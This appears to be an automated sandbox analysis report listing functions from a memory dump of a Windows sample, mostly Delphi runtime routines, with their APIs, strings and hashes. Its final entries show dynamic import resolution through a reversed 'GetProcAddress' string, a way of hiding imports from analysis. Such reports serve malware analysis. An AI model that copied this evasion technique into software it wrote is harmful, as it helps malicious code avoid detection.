Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 6da40a96276824e7acf15013fedfea5da185deed3b000be9258f4dab930fd872
Instruction ID: 3e40fb6a4ca98a0fd192e49ced7f4c5e10978cd408c13ffc7267a29a40864cc9
Opcode Fuzzy Hash: 6da40a96276824e7acf15013fedfea5da185deed3b000be9258f4dab930fd872
Instruction Fuzzy Hash: 431100B5A00209AF9B00CF99C981DEFF7F9FFC9300B64C559A404E7254E671AA018B90

Function 02ECA7C4 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02ECA7E2

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
Instruction ID: a523a80a186f04f10154ba4c9248c00976ee56c2eff433bed4d2e05d83c00049
Opcode Fuzzy Hash: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
Instruction Fuzzy Hash: 7DE0927274421817D311A9989E84EEA725D9758310F10927EB905C7385EDB09E814AE4

Function 02ECB78C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,02EED106,00000000,02EED11E), ref: 02ECB79A

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: d2876b9a1a4a3fefbc981ffbb49526b5c3938462b7f7781311031153a5967eb5
Instruction ID: 65e2a740208959c8e9c0578e3562b4d118974653cf05cfb9796d269da9f673a4
Opcode Fuzzy Hash: d2876b9a1a4a3fefbc981ffbb49526b5c3938462b7f7781311031153a5967eb5
Instruction Fuzzy Hash: 26F0E274984301CFD740DF6AD54361677E9FB88624F989D2CFA988B380E7349495CB52

Function 02ECA810 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,02ECBE72,00000000,02ECC08B,?,?,00000000,00000000), ref: 02ECA823

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
Instruction ID: 20276448f7ae862233b986b6e20d6a14c2920609139787deccdd9e37cf0cc92f
Opcode Fuzzy Hash: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
Instruction Fuzzy Hash: B2D05BA334E1542AA210559A2E44D7B5ADCCAC5765F10903DB948C6301D210CC07D6B1

Function 02EC920C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02EC9210

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
Instruction ID: 9e48bd7729f3347e79b37422eace040c189afc553187385fa5332c94e778505f
Opcode Fuzzy Hash: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
Instruction Fuzzy Hash: BEA0128044482041854033180C0253930445C50A20FD4C74478F8402D0E92D41208093

Function 02EC20C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 02ECD294 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 02ECD29D

Part of subcall function 02ECD268: GetProcAddress.KERNEL32(00000000), ref: 02ECD281

Strings

VarSub, xrefs: 02ECD303
VarBstrFromBool, xrefs: 02ECD479
VarDateFromStr, xrefs: 02ECD40B
VariantChangeTypeEx, xrefs: 02ECD2AB
VarIdiv, xrefs: 02ECD345
oleaut32.dll, xrefs: 02ECD298
VarMod, xrefs: 02ECD35B
VarNeg, xrefs: 02ECD2C1
VarNot, xrefs: 02ECD2D7
VarR8FromStr, xrefs: 02ECD3F5
VarOr, xrefs: 02ECD387
VarAnd, xrefs: 02ECD371
VarBoolFromStr, xrefs: 02ECD437
VarR4FromStr, xrefs: 02ECD3DF
VarBstrFromDate, xrefs: 02ECD463
VarCmp, xrefs: 02ECD3B3
VarMul, xrefs: 02ECD319
VarDiv, xrefs: 02ECD32F
VarAdd, xrefs: 02ECD2ED
VarXor, xrefs: 02ECD39D
VarI4FromStr, xrefs: 02ECD3C9
VarBstrFromCy, xrefs: 02ECD44D
VarCyFromStr, xrefs: 02ECD421

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 46720d6af40eb80de5c160c542ad644d69e9570e176cdf667edc487220a61c79
Instruction ID: 9c9d37ce4db481b5e8c6673ce17d66fc8906e70acd30d52185f0f38d7a04d169
Opcode Fuzzy Hash: 46720d6af40eb80de5c160c542ad644d69e9570e176cdf667edc487220a61c79
Instruction Fuzzy Hash: DF41C1A59C820C5A51086AED7F0242BF7DED6556503B0F52EB808CB744DA72FD53CE29

Function 02ED6ED8 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02ED6EDE
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02ED6EEF
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02ED6EFF
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02ED6F0F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02ED6F1F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02ED6F2F
GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 02ED6F3F

Strings

CoResumeClassObjects, xrefs: 02ED6F29
CoAddRefServerProcess, xrefs: 02ED6F09
CoSuspendClassObjects, xrefs: 02ED6F39
ole32.dll, xrefs: 02ED6ED9
CoReleaseServerProcess, xrefs: 02ED6F19
CoInitializeEx, xrefs: 02ED6EF9
CoCreateInstanceEx, xrefs: 02ED6EE9

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 4319cb374ddee86273b1deb78aa873f000f4289aadd785d17c1488d393b5a4c0
Instruction ID: d7a3ac83bb7069b9445ef5e3f5b986359360f40927b63ff30a4574e71e3596f3
Opcode Fuzzy Hash: 4319cb374ddee86273b1deb78aa873f000f4289aadd785d17c1488d393b5a4c0
Instruction Fuzzy Hash: 0DF0ACE0AC8740BDFE00BFB36D81827375EAA60658364FC1DB80B6D542F775A4528F11

Function 02EC2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 02EC28CE

Strings

String, xrefs: 02EC27A1
An unexpected memory leak has occurred. , xrefs: 02EC2690
bytes: , xrefs: 02EC275D
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02EC2849
Unknown, xrefs: 02EC278C
, xrefs: 02EC2814
7, xrefs: 02EC26A1
The unexpected small block leaks are:, xrefs: 02EC2707
Unexpected Memory Leak, xrefs: 02EC28C0

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 27dcca4c3c1b1a3478bab3c3faa187139dcaff77ccc975ced24ed4bc3c3544e0
Instruction ID: 88ac25db3d28971cd3ac5741b2c2bb74fbec2cf9325552298489857f5fff2320
Opcode Fuzzy Hash: 27dcca4c3c1b1a3478bab3c3faa187139dcaff77ccc975ced24ed4bc3c3544e0
Instruction Fuzzy Hash: 3DA10730A443548BDB21AAACCD84BD976E5EB09314F20A0E9EE499B341CF758987CF51

Function 02EC252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

An unexpected memory leak has occurred. , xrefs: 02EC2690
bytes: , xrefs: 02EC275D
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02EC2849
, xrefs: 02EC2814
7, xrefs: 02EC26A1
The unexpected small block leaks are:, xrefs: 02EC2707
Unexpected Memory Leak, xrefs: 02EC28C0

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 428a3959e45dfdb0197953dc4dda211ac269b4507dd19fa3c36384745f392b78
Instruction ID: 984e3f64be079c3514f6eeb46a762bde58b1523fef90d48983d6113e8974c60f
Opcode Fuzzy Hash: 428a3959e45dfdb0197953dc4dda211ac269b4507dd19fa3c36384745f392b78
Instruction Fuzzy Hash: 4C71E630A442588FDF21EAACCD84BD8BAE5EB09314F20A0E9EA49D7241CF7549C7CF51

Function 02ECBDC0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,02ECC08B,?,?,00000000,00000000), ref: 02ECBDF6

Part of subcall function 02ECA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02ECA7E2

Strings

AMPM , xrefs: 02ECC019
:mm:ss, xrefs: 02ECC046
AMPM, xrefs: 02ECC00A
:mm, xrefs: 02ECC029
m/d/yy, xrefs: 02ECBEC5
mmmm d, yyyy, xrefs: 02ECBEF2

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 2165ec06cf5f8b9d097ee38797d69c31230116c9f0f46855b2f16e57d8b7f483
Instruction ID: 72bc1ad72a4fa82e8610b6e712c01ad810121d4ace961ca66cd89280387bfa45
Opcode Fuzzy Hash: 2165ec06cf5f8b9d097ee38797d69c31230116c9f0f46855b2f16e57d8b7f483
Instruction Fuzzy Hash: C6612D74A801485BDB00EBE4DA61A9FB7BBAB89304F70F43DB1019B785CA39D917CB51

Function 02EDAFE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02EDB000
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 02EDB017
IsBadReadPtr.KERNEL32(?,00000004), ref: 02EDB0AB
IsBadReadPtr.KERNEL32(?,00000002), ref: 02EDB0B7
IsBadReadPtr.KERNEL32(?,00000014), ref: 02EDB0CB

Strings

LoadLibraryExA, xrefs: 02EDB00D
KernelBase, xrefs: 02EDB012

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: 3aa675054f5ace751513ee02b93874a79e9c97d5a1192fe11213c63fd25eb66b
Instruction ID: 03047db4ae67e66c6b3e99b18548a1dcf9651a25e039249c49b4ed95e6294d14
Opcode Fuzzy Hash: 3aa675054f5ace751513ee02b93874a79e9c97d5a1192fe11213c63fd25eb66b
Instruction Fuzzy Hash: 32318471680305FBDB20DBA9CC85F5A77A8AF0535CF41D118FA549B2C0E371A902CB60

Function 02EC435C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02EC4423,?,?,02F467C8,?,?,02EEE7A8,02EC65B1,02EED30D), ref: 02EC4395
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02EC4423,?,?,02F467C8,?,?,02EEE7A8,02EC65B1,02EED30D), ref: 02EC439B
GetStdHandle.KERNEL32(000000F5,02EC43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02EC4423,?,?,02F467C8), ref: 02EC43B0
WriteFile.KERNEL32(00000000,000000F5,02EC43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02EC4423,?,?), ref: 02EC43B6
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 02EC43D4

Strings

Runtime error at 00000000, xrefs: 02EC438E, 02EC43CD
Error, xrefs: 02EC43C8

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: c63bc60d2f54281a9bbd1464ccb0d1adcd4f7a11b3b6b2409bfcd9aca4990ef0
Instruction ID: 0c15e8128244205480b2bab8bd9d85314b1d83e9430c077cbb14ea22eb53b5b2
Opcode Fuzzy Hash: c63bc60d2f54281a9bbd1464ccb0d1adcd4f7a11b3b6b2409bfcd9aca4990ef0
Instruction Fuzzy Hash: 8FF02464AC430479FB10B2E86E06F59379C1784F79F34EA0DB725AC0C287E880D68B32

Function 02ECAEC4 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 02ECAD3C: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02ECAD59
Part of subcall function 02ECAD3C: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02ECAD7D
Part of subcall function 02ECAD3C: GetModuleFileNameA.KERNEL32(02EC0000,?,00000105), ref: 02ECAD98
Part of subcall function 02ECAD3C: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02ECAE2E

CharToOemA.USER32(?,?), ref: 02ECAEFB
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02ECAF18
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02ECAF1E
GetStdHandle.KERNEL32(000000F4,02ECAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02ECAF33
WriteFile.KERNEL32(00000000,000000F4,02ECAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02ECAF39
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 02ECAF5B
MessageBoxA.USER32(00000000,?,?,00002010), ref: 02ECAF71

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: c04780ac3ef6eb8cad2fa1810443eaeda3b105791c899744b6ed528d45fc2182
Instruction ID: 859750dfbe070f0f36c87b7eb6f48f85da7785605a66cd7f9a46dfdcc4d6f3e8
Opcode Fuzzy Hash: c04780ac3ef6eb8cad2fa1810443eaeda3b105791c899744b6ed528d45fc2182
Instruction Fuzzy Hash: A61194B25843086AD300FBD4CE40F9F77ED5B41700F60993DBB44D61E0DA74E5518B62

Function 02ECE58C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02ECE625
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02ECE641
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02ECE67A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02ECE6F7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02ECE710
VariantCopy.OLEAUT32(?,00000000), ref: 02ECE745

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: 507ef0da76867e74d3284492307fd41fbf420d5dc3a7631cfb26f966c1271348
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: A651107595162D9BCB26DF98CE80BD9B3BDAF49314F1491E9F508E7201D630AF828F60

Function 02EC3598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02EC35BA
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02EC3609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02EC35ED
RegCloseKey.ADVAPI32(?,02EC3610,00000000,?,00000004,00000000,02EC3609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02EC3603

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 02EC35B0
FPUMaskValue, xrefs: 02EC35E4

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 85a3cdf82bc2f67922a995cd151f52c66e029a7058c07b591629ca02c1f791bd
Instruction ID: eb21683d4c0f201778fa253aea498386c1cabe3d9b14c3965720e249e5919932
Opcode Fuzzy Hash: 85a3cdf82bc2f67922a995cd151f52c66e029a7058c07b591629ca02c1f791bd
Instruction Fuzzy Hash: 3101F9759C0208FAEB10EBD08E02BB973ECD708710F6084A5BA04D6780E2749911DA59

Function 02ED8274 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

Strings

Kernel32, xrefs: 02ED82BC
sserddAcorPteG, xrefs: 02ED828F

